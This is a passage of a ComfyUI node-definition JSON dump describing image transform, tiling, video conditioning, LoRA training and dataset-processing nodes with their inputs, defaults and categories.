"api_node": false, "price_badge": null, "search_aliases": ["dimensions", "resolution", "image info"], "essentials_category": null, "has_intermediate_output": false}, "ImageRotate": {"input": {"required": {"image": ["IMAGE", {}], "rotation": ["COMBO", {"multiselect": false, "options": ["none", "90 degrees", "180 degrees", "270 degrees"]}]}}, "input_order": {"required": ["image", "rotation"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageRotate", "display_name": "Rotate Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["turn", "flip orientation"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageFlip": {"input": {"required": {"image": ["IMAGE", {}], "flip_method": ["COMBO", {"multiselect": false, "options": ["x-axis: vertically", "y-axis: horizontally"]}]}}, "input_order": {"required": ["image", "flip_method"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageFlip", "display_name": "Flip Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mirror", "reflect"], "essentials_category": null, "has_intermediate_output": false}, "ImageScaleToMaxDimension": {"input": {"required": {"image": ["IMAGE", {}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["area", "lanczos", "bilinear", "nearest-exact", "bilinear", "bicubic"]}], "largest_size": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["image", "upscale_method", "largest_size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageScaleToMaxDimension", "display_name": "Scale Image to Max Dimension", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SplitImageToTileList": {"input": {"required": {"image": ["IMAGE", {}], "tile_width": ["INT", {"default": 1024, "min": 64, "max": 16384}], "tile_height": ["INT", {"default": 1024, "min": 64, "max": 16384}], "overlap": ["INT", {"default": 128, "min": 0, "max": 4096}]}}, "input_order": {"required": ["image", "tile_width", "tile_height", "overlap"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplitImageToTileList", "display_name": "Split Image into List of Tiles", "description": "Splits an image into a batched list of tiles with a specified overlap.", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["split image", "tile image", "slice image"], "essentials_category": null, "has_intermediate_output": false}, "ImageMergeTileList": {"input": {"required": {"image_list": ["IMAGE", {}], "final_width": ["INT", {"default": 1024, "min": 64, "max": 32768}], "final_height": ["INT", {"default": 1024, "min": 64, "max": 32768}], "overlap": ["INT", {"default": 128, "min": 0, "max": 4096}]}}, "input_order": {"required": ["image_list", "final_width", "final_height", "overlap"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageMergeTileList", "display_name": "Merge List of Tiles to Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["split image", "tile image", "slice image"], "essentials_category": null, "has_intermediate_output": false}, "ImageOnlyCheckpointLoader": {"input": {"required": {"ckpt_name": [[]]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP_VISION", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP_VISION", "VAE"], "name": "ImageOnlyCheckpointLoader", "display_name": "Load Checkpoint Image Only (img2vid model)", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "SVD_img2vid_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION"], "init_image": ["IMAGE"], "vae": ["VAE"], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "video_frames": ["INT", {"default": 14, "min": 1, "max": 4096}], "motion_bucket_id": ["INT", {"default": 127, "min": 1, "max": 1023, "advanced": true}], "fps": ["INT", {"default": 6, "min": 1, "max": 1024}], "augmentation_level": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01, "advanced": true}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "video_frames", "motion_bucket_id", "fps", "augmentation_level"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "name": "SVD_img2vid_Conditioning", "display_name": "SVD_img2vid_Conditioning", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/conditioning/stable video", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VideoLinearCFGGuidance": {"input": {"required": {"model": ["MODEL"], "min_cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.5, "round": 0.01, "advanced": true}]}}, "input_order": {"required": ["model", "min_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "VideoLinearCFGGuidance", "display_name": "Video Linear CFG Guidance", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/sampling/guiders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VideoTriangleCFGGuidance": {"input": {"required": {"model": ["MODEL"], "min_cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.5, "round": 0.01, "advanced": true}]}}, "input_order": {"required": ["model", "min_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "VideoTriangleCFGGuidance", "display_name": "Video Triangle CFG Guidance", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/sampling/guiders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ImageOnlyCheckpointSave": {"input": {"required": {"model": ["MODEL"], "clip_vision": ["CLIP_VISION"], "vae": ["VAE"], "filename_prefix": ["STRING", {"default": "checkpoints/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "clip_vision", "vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "ImageOnlyCheckpointSave", "display_name": "ImageOnlyCheckpointSave", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save model", "export checkpoint", "merge save"]}, "ConditioningSetAreaPercentageVideo": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "height": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "temporal": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "x": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "y": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "z": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "temporal", "x", "y", "z", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaPercentageVideo", "display_name": "Conditioning (Set Area with Percentage for Video)", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "Ideogram4Scheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 200}], "width": ["INT", {"default": 1024, "min": 256, "max": 8192, "step": 16}], "height": ["INT", {"default": 1024, "min": 256, "max": 8192, "step": 16}], "mu": ["FLOAT", {"default": 0.0, "min": -10.0, "max": 10.0, "step": 0.05}], "std": ["FLOAT", {"default": 1.75, "min": 0.1, "max": 5.0, "step": 0.05}]}}, "input_order": {"required": ["steps", "width", "height", "mu", "std"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "Ideogram4Scheduler", "display_name": "Ideogram 4 Scheduler", "description": "", "python_module": "comfy_extras.nodes_ideogram4", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TrainLoraNode": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to train the LoRA on."}], "latents": ["LATENT", {"tooltip": "The Latents to use for training, serve as dataset/input of the model."}], "positive": ["CONDITIONING", {"tooltip": "The positive conditioning to use for training."}], "batch_size": ["INT", {"tooltip": "The batch size to use for training.", "default": 1, "min": 1, "max": 10000}], "grad_accumulation_steps": ["INT", {"tooltip": "The number of gradient accumulation steps to use for training.", "default": 1, "min": 1, "max": 1024}], "steps": ["INT", {"tooltip": "The number of steps to train the LoRA for.", "default": 16, "min": 1, "max": 100000}], "learning_rate": ["FLOAT", {"tooltip": "The learning rate to use for training.", "default": 0.0005, "min": 1e-07, "max": 1.0, "step": 1e-07}], "rank": ["INT", {"tooltip": "The rank of the LoRA layers.", "default": 8, "min": 1, "max": 128}], "optimizer": ["COMBO", {"tooltip": "The optimizer to use for training.", "default": "AdamW", "multiselect": false, "options": ["AdamW", "Adam", "SGD", "RMSprop"]}], "loss_function": ["COMBO", {"tooltip": "The loss function to use for training.", "default": "MSE", "multiselect": false, "options": ["MSE", "L1", "Huber", "SmoothL1"]}], "seed": ["INT", {"tooltip": "The seed to use for training (used in generator for LoRA weight initialization and noise sampling)", "default": 0, "min": 0, "max": 18446744073709551615}], "training_dtype": ["COMBO", {"tooltip": "The dtype to use for training. 'none' preserves the model's native compute dtype instead of overriding it. For fp16 models, GradScaler is automatically enabled.", "default": "bf16", "multiselect": false, "options": ["bf16", "fp32", "none"]}], "lora_dtype": ["COMBO", {"tooltip": "The dtype to use for lora.", "default": "bf16", "multiselect": false, "options": ["bf16", "fp32"]}], "quantized_backward": ["BOOLEAN", {"tooltip": "When using training_dtype 'none' and training on quantized model, doing backward with quantized matmul when enabled.", "default": false}], "algorithm": ["COMBO", {"tooltip": "The algorithm to use for training.", "default": "LoRA", "multiselect": false, "options": ["LoRA", "LoHa", "LoKr", "OFT"]}], "gradient_checkpointing": ["BOOLEAN", {"tooltip": "Use gradient checkpointing for training.", "default": true}], "checkpoint_depth": ["INT", {"tooltip": "Depth level for gradient checkpointing.", "default": 1, "min": 1, "max": 5}], "offloading": ["BOOLEAN", {"tooltip": "Offload model weights to CPU during training to save GPU memory.", "default": false}], "existing_lora": ["COMBO", {"tooltip": "The existing LoRA to append to. Set to None for new LoRA.", "default": "[None]", "multiselect": false, "options": ["[None]"]}], "bucket_mode": ["BOOLEAN", {"tooltip": "Enable resolution bucket mode. When enabled, expects pre-bucketed latents from ResolutionBucket node.", "default": false}], "bypass_mode": ["BOOLEAN", {"tooltip": "Enable bypass mode for training. When enabled, adapters are applied via forward hooks instead of weight modification. Useful for quantized models where weights cannot be directly modified.", "default": false}]}}, "input_order": {"required": ["model", "latents", "positive", "batch_size", "grad_accumulation_steps", "steps", "learning_rate", "rank", "optimizer", "loss_function", "seed", "training_dtype", "lora_dtype", "quantized_backward", "algorithm", "gradient_checkpointing", "checkpoint_depth", "offloading", "existing_lora", "bucket_mode", "bypass_mode"]}, "is_input_list": true, "output": ["LORA_MODEL", "LOSS_MAP", "INT"], "output_is_list": [false, false, false], "output_name": ["lora", "loss_map", "steps"], "output_tooltips": ["LoRA weights", "Loss history", "Total training steps"], "output_matchtypes": null, "name": "TrainLoraNode", "display_name": "Train LoRA", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoraModelLoader": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "lora": ["LORA_MODEL", {"tooltip": "The LoRA model to apply to the diffusion model."}], "strength_model": ["FLOAT", {"tooltip": "How strongly to modify the diffusion model. This value can be negative.", "default": 1.0, "min": -100.0, "max": 100.0}], "bypass": ["BOOLEAN", {"tooltip": "When enabled, applies LoRA in bypass mode without modifying base model weights. Useful for training and when model weights are offloaded.", "default": false}]}}, "input_order": {"required": ["model", "lora", "strength_model", "bypass"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["model"], "output_tooltips": ["The modified diffusion model."], "output_matchtypes": null, "name": "LoraModelLoader", "display_name": "Load LoRA Model", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveLoRA": {"input": {"required": {"lora": ["LORA_MODEL", {"tooltip": "The LoRA model to save. Do not use the model with LoRA layers."}], "prefix": ["STRING", {"tooltip": "The prefix to use for the saved LoRA file.", "default": "loras/ComfyUI_trained_lora", "multiline": false}]}, "optional": {"steps": ["INT", {"tooltip": "Optional: The number of steps the LoRA has been trained for, used to name the saved file."}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["lora", "prefix"], "optional": ["steps"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveLoRA", "display_name": "Save LoRA Weights", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/merging", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export lora"], "essentials_category": null, "has_intermediate_output": false}, "LossGraphNode": {"input": {"required": {"loss": ["LOSS_MAP", {"tooltip": "Loss map from training node."}], "filename_prefix": ["STRING", {"tooltip": "Prefix for the saved loss graph image.", "default": "loss_graph", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["loss", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "LossGraphNode", "display_name": "Plot Loss Graph", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/training", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["training chart", "training visualization", "plot loss"], "essentials_category": null, "has_intermediate_output": false}, "LoadImageDataSetFromFolder": {"input": {"required": {"folder": ["COMBO", {"tooltip": "The folder to load images from.", "multiselect": false, "options": ["3d"]}]}}, "input_order": {"required": ["folder"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["List of loaded images"], "output_matchtypes": null, "name": "LoadImageDataSetFromFolder", "display_name": "Load Image (from Folder)", "description": "Load a dataset of images from a specified folder and return a list of images. Supported formats: PNG, JPG, JPEG, WEBP.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load folder", "load from folder", "load dataset", "load images", "import dataset"], "essentials_category": null, "has_intermediate_output": false}, "LoadImageTextDataSetFromFolder": {"input": {"required": {"folder": ["COMBO", {"tooltip": "The folder to load images and text captions from.", "multiselect": false, "options": ["3d"]}]}}, "input_order": {"required": ["folder"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [true, true], "output_name": ["images", "texts"], "output_tooltips": ["List of loaded images", "List of text captions"], "output_matchtypes": null, "name": "LoadImageTextDataSetFromFolder", "display_name": "Load Image-Text (from Folder)", "description": "Load a dataset of pairs of images and text captions from a specified folder and return them as a list. Supported formats: PNG, JPG, JPEG, WEBP.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load folder", "load from folder", "load dataset", "load images", "import dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveImageDataSetToFolder": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to save."}], "folder_name": ["STRING", {"tooltip": "Name of the folder to save images to (inside output directory).", "default": "dataset", "multiline": false}], "filename_prefix": ["STRING", {"tooltip": "Prefix for saved image filenames.", "advanced": true, "default": "image", "multiline": false}], "mode": ["COMBO", {"tooltip": "Whether to overwrite existing files or increment filenames to avoid overwriting.", "default": "overwrite", "multiselect": false, "options": ["overwrite", "increment"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "folder_name", "filename_prefix", "mode"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveImageDataSetToFolder", "display_name": "Save Image (to Folder) (DEPRECATED)", "description": "Save a dataset of images to a specified folder. Supported formats: PNG.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": true, "deprecated": true, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save folder", "save to folder", "save dataset", "save images", "export dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveImageTextDataSetToFolder": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to save."}], "folder_name": ["STRING", {"tooltip": "Name of the folder to save images to (inside output directory).", "default": "dataset", "multiline": false}], "filename_prefix": ["STRING", {"tooltip": "Prefix for saved image filenames.", "advanced": true, "default": "image", "multiline": false}], "mode": ["COMBO", {"tooltip": "Whether to overwrite existing files or increment filenames to avoid overwriting.", "default": "overwrite", "multiselect": false, "options": ["overwrite", "increment"]}]}, "optional": {"texts": ["STRING", {"tooltip": "List of text captions to save.", "forceInput": true, "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "folder_name", "filename_prefix", "mode"], "optional": ["texts"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveImageTextDataSetToFolder", "display_name": "Save Image-Text (to Folder)", "description": "Save a dataset of pairs of images and text captions to a specified folder. Images are saved as PNG files and captions are saved as TXT files with the same filename_prefix.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save folder", "save to folder", "save dataset", "save images", "save text", "export dataset"], "essentials_category": null, "has_intermediate_output": false}, "ResizeImagesByShorterEdge": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "shorter_edge": ["INT", {"tooltip": "Target dimension for the shorter edge.", "default": 512, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "shorter_edge"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ResizeImagesByShorterEdge", "display_name": "Resize Images by Shorter Edge (DEPRECATED)", "description": "Resize images so that the shorter edge matches the specified dimension while preserving aspect ratio.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ResizeImagesByLongerEdge": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "longer_edge": ["INT", {"tooltip": "Target dimension for the longer edge.", "default": 1024, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "longer_edge"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ResizeImagesByLongerEdge", "display_name": "Resize Images by Longer Edge (DEPRECATED)", "description": "Resize images so that the longer edge matches the specified dimension while preserving aspect ratio.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CenterCropImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "width": ["INT", {"tooltip": "Crop width.", "default": 512, "min": 1, "max": 8192}], "height": ["INT", {"tooltip": "Crop height.", "default": 512, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "width", "height"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "CenterCropImages", "display_name": "Crop Image (Center)", "description": "Center crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": null, "has_intermediate_output": false}, "RandomCropImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "width": ["INT", {"tooltip": "Crop width.", "default": 512, "min": 1, "max": 8192}], "height": ["INT", {"tooltip": "Crop height.", "default": 512, "min": 1, "max": 8192}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "width", "height", "seed"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "RandomCropImages", "display_name": "Crop Image (Random)", "description": "Randomly crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": null, "has_intermediate_output": false}, "NormalizeImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "mean": ["FLOAT", {"tooltip": "Mean value for normalization.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0}], "std": ["FLOAT", {"tooltip": "Standard deviation for normalization.", "advanced": true, "default": 0.5, "min": 0.001, "max": 1.0}]}}, "input_order": {"required": ["images", "mean", "std"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "NormalizeImages", "display_name": "Normalize Image Colors", "description": "Normalize images using mean and standard deviation.", "python_module": "comfy_extras.nodes_dataset", "category": "image/color", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["normalize", "normalize colors"], "essentials_category": null, "has_intermediate_output": false}, "AdjustBrightness": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "factor": ["FLOAT", {"tooltip": "Brightness factor. 1.0 = no change, <1.0 = darker, >1.0 = brighter.", "default": 1.0, "min": 0.0, "max": 2.0}]}}, "input_order": {"required": ["images", "factor"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "AdjustBrightness", "display_name": "Adjust Brightness", "description": "Adjust the brightness of an image.", "python_module": "comfy_extras.nodes_dataset", "category": "image/adjustments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["brightness"], "essentials_category": null, "has_intermediate_output": false}, "AdjustContrast": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "factor": ["FLOAT", {"tooltip": "Contrast factor. 1.0 = no change, <1.0 = less contrast, >1.0 = more contrast.", "default": 1.0, "min": 0.0, "max": 2.0}]}}, "input_order": {"required": ["images", "factor"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "AdjustContrast", "display_name": "Adjust Contrast", "description": "Adjust the contrast of an image.", "python_module": "comfy_extras.nodes_dataset", "category": "image/adjustments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["contrast"], "essentials_category": null, "has_intermediate_output": false}, "ShuffleDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "seed"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ShuffleDataset", "display_name": "Shuffle Images List", "description": "Randomly shuffle the order of images in a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["shuffle", "randomize", "mix"], "essentials_category": null, "has_intermediate_output": false}, "ShuffleImageTextDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to shuffle."}], "texts": ["STRING", {"tooltip": "List of texts to shuffle.", "forceInput": true, "multiline": false}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "texts", "seed"]}, "is_input_list": true, "output": ["IMAGE", "STRING"], "output_is_list": [true, true], "output_name": ["images", "texts"], "output_tooltips": ["Shuffled images", "Shuffled texts"], "output_matchtypes": null, "name": "ShuffleImageTextDataset", "display_name": "Shuffle Pairs of Image-Text", "description": "Randomly shuffle the order of pairs of image-text in a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["shuffle", "randomize", "mix"], "essentials_category": null, "has_intermediate_output": false}, "TextToLowercase": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TextToLowercase", "display_name": "Convert Text to Lowercase (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextToUppercase": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TextToUppercase", "display_name": "Convert Text to Uppercase (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TruncateText": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "max_length": ["INT", {"tooltip": "Maximum text length.", "default": 77, "min": 1, "max": 10000}]}}, "input_order": {"required": ["texts", "max_length"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TruncateText", "display_name": "Truncate Text", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AddTextPrefix": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "prefix": ["STRING", {"tooltip": "Prefix to add.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "prefix"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "AddTextPrefix", "display_name": "Add Text Prefix (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AddTextSuffix": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "suffix": ["STRING", {"tooltip": "Suffix to add.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "suffix"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "AddTextSuffix", "display_name": "Add Text Suffix (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReplaceText": {"input": {"required": {"texts": 